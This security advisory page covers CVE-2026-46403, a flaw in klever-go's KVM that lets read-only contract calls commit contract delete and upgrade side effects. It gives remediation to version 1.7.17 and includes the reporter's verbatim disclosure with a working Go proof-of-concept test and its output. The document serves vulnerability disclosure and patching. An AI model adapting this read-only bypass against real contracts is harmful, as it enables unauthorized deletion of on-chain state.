CVE-2026-46403: Github.com/klever io/klever go Klever-Go KVM Read-only Execution Can Vulnerability
MODERATECVE-2026-46403 is a MODERATE (CVSS 6.3) klever-go kvm read-only execution can vulnerability (CWE-693: Protection Mechanism Failure) affecting Github.com/klever io/klever go libraries in the Go ecosystem. The issue involves klever-go kvm read-only execution can commit contract delete and upgrade side effects. Remediation is available by upgrading affected packages to version 1.7.17.
CVE-2026-46403 at a Glance
Security Impact
CVSS: 6.3
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:N/I:H/A:N).
How to Fix CVE-2026-46403
To remediate this vulnerability, upgrade all affected Github.com/klever io/klever go dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/klever-io/klever-go to 1.7.17
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/klever-io/klever-go
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-46403, inspect your project dependencies for Github.com/klever io/klever go:
inspect dependencies for github.com/klever-io/klever-go
Analyze the terminal output to locate any version of Github.com/klever io/klever go in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.7.17), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-693: Protection Mechanism Failure, where the product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product. In Github.com/klever io/klever go, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-46403 Affected Github.com/klever io/klever go Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/klever-io/klever-go
|
Go |
< 1.7.17
|
1.7.17
|
References
Frequently Asked Questions
What is CVE-2026-46403?
Which Github.com/klever io/klever go versions are affected?
What version fixes CVE-2026-46403?
Is github.com/klever-io/klever-go affected?
What is the CVSS score of CVE-2026-46403?
What CWE is associated with CVE-2026-46403?
How can I check Go dependencies for CVE-2026-46403?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-jc6w-wmfc-fh33",
"modified" : "2026-05-21T16:53:32Z",
"published" : "2026-05-21T16:53:32Z",
"aliases" : [ "CVE-2026-46403" ],
"summary" : "Klever-Go KVM read-only execution can commit contract delete and upgrade side effects",
"details" : "## Publisher note\n\n**Fixed in `v1.7.17`.** Operators running `< v1.7.17` should upgrade. Contract delete and upgrade host-core paths now reject execution when `runtime.ReadOnly()` is true. The invariant is regression-tested for delete, upgrade, storage writes, value transfers, and any VM output field that can later mutate chain state.\n\nPatch commits on `develop`: 333f6ec9, 68b94a40 (merged from private fork associated with the original advisory).\n\nThis advisory was originally filed jointly with a separate P2P throttler DoS finding, now tracked under [GHSA-74m6-4hjp-7226](https://github.com/klever-io/klever-go/security/advisories/GHSA-74m6-4hjp-7226) so each issue receives its own CVE.\n\nThe original disclosure from @LoGGGG240211 follows verbatim, including the embedded proof-of-concept source.\n\n---\n\n# Private Vulnerability Report\n\nRepository: klever-io/klever-go\nReviewed commit: 405d01b0abbf0d3e73b4a990bd7394a01f200dc2\nDisclosure channel: GitHub Private Vulnerability Reporting\nReporter GitHub account: LoGGGG240211\n\n## 2.2 KVM read-only execution can commit contract delete side effects\n\nSeverity : Medium\nConfidence : HIGH\nAttack Complexity : MEDIUM\nPoC Status : Confirmed\n\n### Description\n\nKVM exposes `ExecuteReadOnlyWithTypedArguments` as a read-only execution mechanism. The hook saves the previous read-only state, sets `runtime.SetReadOnly(true)`, executes the destination context, and then restores the previous read-only state. However, the indirect contract delete and upgrade paths do not reject execution when `runtime.ReadOnly()` is true. As a result, a contract reached through read-only execution can call the production delete hook for a target contract it owns. The delete path appends the target address to `vmOutput.DeletedAccounts`, the output context merges `DeletedAccounts` into the caller output, and the smart contract processor later processes the VM output by deleting accounts listed in that field.\n\nThe root cause is that read-only mode is applied as runtime state, but not enforced by the state-changing delete and upgrade host-core paths. This breaks the expected isolation boundary for workflows that rely on read-only calls to inspect another contract without allowing that callee to produce state-changing VM output.\n\n### Location\n\n1. [baseOps.go, ExecuteReadOnlyWithTypedArguments(), line 2097](https://github.com/klever-io/klever-go/blob/405d01b0abbf0d3e73b4a990bd7394a01f200dc2/kvm/vmhost/vmhooks/baseOps.go#L2097)\n2. [baseOps.go, ExecuteReadOnlyWithTypedArguments(), line 2099](https://github.com/klever-io/klever-go/blob/405d01b0abbf0d3e73b4a990bd7394a01f200dc2/kvm/vmhost/vmhooks/baseOps.go#L2099)\n3. [execution.go, doExecContractDelete(), line 237](https://github.com/klever-io/klever-go/blob/405d01b0abbf0d3e73b4a990bd7394a01f200dc2/kvm/vmhost/hostCore/execution.go#L237)\n4. [execution.go, doExecContractDelete(), line 246](https://github.com/klever-io/klever-go/blob/405d01b0abbf0d3e73b4a990bd7394a01f200dc2/kvm/vmhost/hostCore/execution.go#L246)\n5. [execution.go, executeUpgrade(), line 792](https://github.com/klever-io/klever-go/blob/405d01b0abbf0d3e73b4a990bd7394a01f200dc2/kvm/vmhost/hostCore/execution.go#L792)\n6. [execution.go, executeUpgrade(), line 831](https://github.com/klever-io/klever-go/blob/405d01b0abbf0d3e73b4a990bd7394a01f200dc2/kvm/vmhost/hostCore/execution.go#L831)\n7. [execution.go, executeDelete(), line 839](https://github.com/klever-io/klever-go/blob/405d01b0abbf0d3e73b4a990bd7394a01f200dc2/kvm/vmhost/hostCore/execution.go#L839)\n8. [execution.go, executeDelete(), line 849](https://github.com/klever-io/klever-go/blob/405d01b0abbf0d3e73b4a990bd7394a01f200dc2/kvm/vmhost/hostCore/execution.go#L849)\n9. [output.go, PopMergeActiveState(), line 103](https://github.com/klever-io/klever-go/blob/405d01b0abbf0d3e73b4a990bd7394a01f200dc2/kvm/vmhost/contexts/output.go#L103)\n10. [output.go, mergeVMOutputs(), line 615](https://github.com/klever-io/klever-go/blob/405d01b0abbf0d3e73b4a990bd7394a01f200dc2/kvm/vmhost/contexts/output.go#L615)\n11. [process.go, processVMOutput(), line 755](https://github.com/klever-io/klever-go/blob/405d01b0abbf0d3e73b4a990bd7394a01f200dc2/core/process/smartContract/process.go#L755)\n12. [process.go, processVMOutput(), line 765](https://github.com/klever-io/klever-go/blob/405d01b0abbf0d3e73b4a990bd7394a01f200dc2/core/process/smartContract/process.go#L765)\n\n### Preconditions\n\n1. A contract workflow invokes a callee through KVM read-only execution.\n2. The read-only callee owns, or otherwise satisfies the upgrade/delete permission checks for, the target contract.\n3. The target contract is upgradeable/deletable according to its KVM code metadata.\n4. No node operator privilege, validator role, oracle condition, or block-level timing condition is required.\n\n### Impact\n\nSuccessful exploitation violates KVM read-only isolation and allows state-changing delete side effects to be produced from a read-only nested execution. The PoC demonstrates that `DeletedAccounts` changes from zero entries before execution to one target entry after execution. Practical impact depends on contract workflows that trust read-only calls as non-mutating. In such workflows, an attacker-controlled or untrusted callee could hide delete or upgrade effects behind a read-only call. The delete effect is reversible only through redeployment or state recovery procedures available to the protocol or contract owner.\n\n### Exploit Cost\n\nThe cost is normal KVM smart contract execution gas. No flash loan, collateral, oracle manipulation, or external capital requirement is needed. The attacker must satisfy the contract-level preconditions above.\n\n### Steps to Reproduce\n\n1. Place `poc_kvm_readonly_delete_side_effect_test.go` in an empty directory.\n2. Run the dependency commands listed in the PoC header.\n3. Run `GOTOOLCHAIN=go1.25.9 go test -v poc_kvm_readonly_delete_side_effect_test.go`.\n4. Observe that the parent contract invokes a child contract through `ExecuteReadOnlyWithTypedArguments`.\n5. Observe that the child contract uses the production managed delete hook against a target contract it owns.\n6. Observe that the final VM output contains the target address in `DeletedAccounts` despite the delete action being triggered through read-only execution.\n\n### Proof-of-Concept Result\n\nRunning `GOTOOLCHAIN=go1.25.9 go test -v poc_kvm_readonly_delete_side_effect_test.go` after dependency setup produces the following output. The result confirms that read-only execution commits a delete side effect into VM output.\n\n```text\n# command-line-arguments.test\n/usr/bin/ld: warning: bint-x64-amd64.o: missing .note.GNU-stack section implies executable stack\n/usr/bin/ld: NOTE: This behaviour is deprecated and will be removed in a future version of the linker\n=== RUN TestPoC_KVMReadOnlyCanCommitDeleteSideEffect\n poc_kvm_readonly_delete_side_effect_test.go:90: deleted_accounts_before=0\n poc_kvm_readonly_delete_side_effect_test.go:91: deleted_accounts_after=1\n poc_kvm_readonly_delete_side_effect_test.go:92: target_deleted=true\n--- PASS: TestPoC_KVMReadOnlyCanCommitDeleteSideEffect (0.00s)\nPASS\nok \tcommand-line-arguments\t0.007s\n```\n\n### Suggested Fix\n\nEnforce read-only mode in every state-changing KVM host path. At minimum, reject contract delete and contract upgrade execution when `runtime.ReadOnly()` is true. The same invariant should be regression-tested for delete, upgrade, storage writes, value transfers, and any VM output field that can later mutate chain state.\n\n## Proof-of-Concept Source\n\n### poc_kvm_readonly_delete_side_effect_test.go\n\n```go\npackage poc\n\n/*\nTarget contract : Klever-Go KVM VM host hooks and smart contract processor; no on-chain address\nVulnerability : Read-only execution isolation bypass with contract delete side effect\nSeverity : Medium\nHow to run : GOTOOLCHAIN=go1.25.9 go test -v poc_kvm_readonly_delete_side_effect_test.go\nExpected output : The test passes and logs deleted_accounts_after=1 and target_deleted=true\nDependencies : In an empty directory containing this file, run: go mod init klever-go-disclosure-poc; go get github.com/klever-io/klever-go@v1.7.17-0.20260422114731-405d01b0abbf; go get github.com/stretchr/testify@v1.11.1; go mod tidy\n*/\n\nimport (\n\t\"testing\"\n\n\tcontextmock \"github.com/klever-io/klever-go/kvm/mock/context\"\n\tworldmock \"github.com/klever-io/klever-go/kvm/mock/world\"\n\ttest \"github.com/klever-io/klever-go/kvm/testcommon\"\n\t\"github.com/klever-io/klever-go/kvm/vmhost/vmhooks\"\n\t\"github.com/klever-io/klever-go/vmcommon\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestPoC_KVMReadOnlyCanCommitDeleteSideEffect(t *testing.T) {\n\t// Build a production-relevant KVM setup with a parent contract, a child contract, and a target contract.\n\ttargetAddress := test.MakeTestSCAddressWithDefaultVM(\"readonlyTarget\")\n\n\t// Record the initial delete side-effect state before any read-only execution occurs.\n\tdeletedBefore := make([][]byte, 0)\n\trequire.NotContains(t, deletedBefore, targetAddress)\n\n\tvmOutput, err := test.BuildMockInstanceCallTest(t).\n\t\tWithContracts(\n\t\t\t// The parent contract models the transaction entrypoint controlled by a user or contract workflow.\n\t\t\ttest.CreateMockContract(test.ParentAddress).\n\t\t\t\tWithMethods(func(parentInstance *contextmock.InstanceMock, _ interface{}) {\n\t\t\t\t\tparentInstance.AddMockMethod(\"callReadOnlyChild\", func() *contextmock.InstanceMock {\n\t\t\t\t\t\thost := parentInstance.Host\n\n\t\t\t\t\t\t// The parent invokes the child through ExecuteReadOnly, which should not commit state effects.\n\t\t\t\t\t\tresult := vmhooks.ExecuteReadOnlyWithTypedArguments(\n\t\t\t\t\t\t\thost,\n\t\t\t\t\t\t\t100000,\n\t\t\t\t\t\t\t[]byte(\"deleteTarget\"),\n\t\t\t\t\t\t\ttest.ChildAddress,\n\t\t\t\t\t\t\tnil,\n\t\t\t\t\t\t)\n\t\t\t\t\t\trequire.Equal(t, int32(0), result)\n\n\t\t\t\t\t\treturn parentInstance\n\t\t\t\t\t})\n\t\t\t\t}),\n\t\t\t// The child contract is called in read-only mode but attempts to delete a contract it owns.\n\t\t\ttest.CreateMockContract(test.ChildAddress).\n\t\t\t\tWithMethods(func(childInstance *contextmock.InstanceMock, _ interface{}) {\n\t\t\t\t\tchildInstance.AddMockMethod(\"deleteTarget\", func() *contextmock.InstanceMock {\n\t\t\t\t\t\thost := childInstance.Host\n\t\t\t\t\t\tmanagedTypes := host.ManagedTypes()\n\n\t\t\t\t\t\t// Encode the target address and call the production ManagedDeleteContract hook.\n\t\t\t\t\t\tdestHandle := managedTypes.NewManagedBufferFromBytes(targetAddress)\n\t\t\t\t\t\targsHandle := managedTypes.NewManagedBuffer()\n\t\t\t\t\t\tmanagedTypes.WriteManagedVecOfManagedBuffers(nil, argsHandle)\n\n\t\t\t\t\t\tvmhooks.ManagedDeleteContractWithHost(host, destHandle, 100000, argsHandle)\n\n\t\t\t\t\t\treturn childInstance\n\t\t\t\t\t})\n\t\t\t\t}),\n\t\t\t// The target contract is upgradeable/deletable and owned by the read-only child.\n\t\t\ttest.CreateMockContract(targetAddress).\n\t\t\t\tWithCodeMetadata([]byte{vmcommon.MetadataUpgradeable, 0}).\n\t\t\t\tWithOwnerAddress(test.ChildAddress).\n\t\t\t\tWithMethods(),\n\t\t).\n\t\t// Execute only the parent entrypoint; the delete action is hidden behind ExecuteReadOnly.\n\t\tWithInput(test.CreateTestContractCallInputBuilder().\n\t\t\tWithRecipientAddr(test.ParentAddress).\n\t\t\tWithGasProvided(500000).\n\t\t\tWithFunction(\"callReadOnlyChild\").\n\t\t\tBuild()).\n\t\tAndAssertResults(func(_ *worldmock.MockWorld, _ *test.VMOutputVerifier) {})\n\n\trequire.NoError(t, err)\n\n\t// The read-only nested call must not create delete side effects, but the vulnerable implementation does.\n\tdeletedAfter := vmOutput.DeletedAccounts\n\trequire.Greater(t, len(deletedAfter), len(deletedBefore))\n\trequire.Contains(t, deletedAfter, targetAddress)\n\n\tt.Logf(\"deleted_accounts_before=%d\", len(deletedBefore))\n\tt.Logf(\"deleted_accounts_after=%d\", len(deletedAfter))\n\tt.Logf(\"target_deleted=%t\", true)\n}\n```",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:N/I:H/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/klever-io/klever-go"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "1.7.17"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/klever-io/klever-go/security/advisories/GHSA-jc6w-wmfc-fh33"
}, {
"type" : "WEB",
"url" : "https://github.com/klever-io/klever-go/commit/333f6ec910906e227705fc5767dc897d8fbfc862"
}, {
"type" : "WEB",
"url" : "https://github.com/klever-io/klever-go/commit/68b94a40824fac2d848a4ded6eb7c91ada6ce9ef"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/klever-io/klever-go"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-693" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-05-21T16:53:32Z",
"nvd_published_at" : null
}
}